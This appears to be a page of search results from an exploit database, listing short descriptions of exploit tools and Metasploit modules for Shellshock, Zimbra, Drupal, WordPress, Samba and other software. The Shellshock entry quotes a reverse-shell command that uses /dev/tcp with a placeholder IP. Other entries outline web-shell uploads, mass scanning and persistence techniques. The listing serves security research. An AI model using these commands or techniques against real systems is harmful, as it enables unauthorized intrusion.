57 matches found
CVE-2014-6271
Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...
Zimbra-RCE
Zimbra-RCE Zimbra RCE CVE-2019-9670 $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670 optional arguments:...
CVE-2018-7600-Drupal-0day-RCE
CVE-2018-7600-Drupal-0day-RCE Drupal 0day 원격 PHP 코드 실행 Perl 이것은 Drupal CMS의 0day RCE 익스플로잇입니다. 서버에 페이로드를 업로드할 수 있습니다. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 익스플로잇 실행 방법 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl을...
CVE-2025-34085-Multi-target
CVE-2025-34085 다중 대상 RCE 스캐너 CVE-2025-34085 대량 익스플로잇 스캐너 — WordPress Simple File List 플러그인의 인증되지 않은 원격 코드 실행 취약점입니다. 이 도구는 PHP 페이로드를 이미지로 위장하여 업로드하고, 취약한 파일 엔진을 통해 이름을 변경한 후, 사용자 지정 명령으로 셸 실행을 트리거합니다. 대규모 대상 세트에 대한 멀티스레드 스캐닝을 지원합니다. 🔥 기능 다중 대상 스캐닝 targets.txt에서 악성 페이로드 자동 업로드 및 이름 변경 사용자 정의 가능한...
Zimbra-RCE
Zimbra-RCE Zimbra RCE CVE-2019-9670 $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670 optional arguments:...
CVE-2025-54769
CVE-2025-54769 – LPAR2RRD RCE 설명 : 이 저장소는 lpar2rrd에서 발견된 취약점인 CVE-2025-54769에 대한 PoCProof‑of‑Concept 익스플로잇을 포함합니다. 해당 취약점은 /lpar2rrd-cgi/upgrade.sh 엔드포인트를 악용하여 원격 코드 실행RCE 및 디렉터리 트래버설을 허용합니다. 익스플로잇 작업 흐름은 다음과 같습니다: 스크립트 생성 : 악의적인 Perl CGI 페이로드users.pl를 자동으로 생성하여 임의의 셸 명령을 실행합니다기본값: whoami. 페이로드 업...
Exploit for Improper Access Control in Ollyo Helix3
CVE-2026-49049 Mass Scanner Mass vulnerability scanner for CV...
SMB to Meterpreter Upgrade via PsExec
Upgrades an authenticated SMB session to a Meterpreter session using PsExec techniques. This module uploads a service-wrapped executable payload to the ADMIN$ share via the existing authenticated SMB connection, then creates and starts a Windows service that executes the payload. This mirrors the...
HTTP Fetch, Windows Upload/Execute, Hidden Bind TCP Stager
Fetch and execute an x86 payload from an HTTP server. Uploads an executable and runs it staged. Listen for a connection from a hidden port and spawn a command shell to the allowed host. Module Options msf use payload/cmd/windows/http/x86/upexec/bindhiddentcp msf payloadbindhiddentcp show actions...
📄 Novell GroupWise 2012 Traversal / Shell Upload
This code exploits the directory traversal vulnerability in Novell GroupWise 2012 before Support Pack 1 to steal files, and attempts to upload a web shell payload if possible, making it an effective penetration testing tool...
📄 Magento 2 / Adobe Commerce 2.4.x SessionReaper
This PHP script is a proof of concept exploit targeting Magento for CVE‑2025‑54236, commonly referred to as SessionReaper. It is a PHP port of an original Metasploit module and is designed for security testing...
CVE-2020-36911 Covenant 0.5 - Remote Code Execution (RCE)
Covenant 0.1.3 - 0.5 contains a remote code execution vulnerability that allows attackers to craft malicious JWT tokens with administrative privileges. Attackers can generate forged tokens with admin roles and upload custom DLL payloads to execute arbitrary commands on the target system...
CVE-2025-41717
An unauthenticated remote attacker can trick a high privileged user into uploading a malicious payload via the config-upload endpoint, leading to code injection as root. This results in a total loss of confidentiality, availability and integrity due to improper control of code generation 'Code...
CVE-2023-53942 File Thingie 2.5.7 Authenticated Arbitrary File Upload Remote Code Execution
File Thingie 2.5.7 contains an authenticated file upload vulnerability that allows remote attackers to upload malicious PHP zip archives to the web server. Attackers can create a custom PHP payload, upload and unzip it, and then execute arbitrary system commands through a crafted PHP script with ...
Exploit for Improper Neutralization of Line Delimiters in Cacti
Cacti CVE-2025-24367 Authenticated RCE PoC This repository co...
Exploit for Code Injection in Samba
CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494...
EUVD-2012-6608
Malware in sbrugna...
📄 Windows Silent Process Exit Persistence
Windows allows you to set up a debug process when a process exits. This Metasploit module uploads a payload and declares that it is the debug process to launch when a specified process exits. This module requires Metasploit: https://metasploit.com/download Current source:...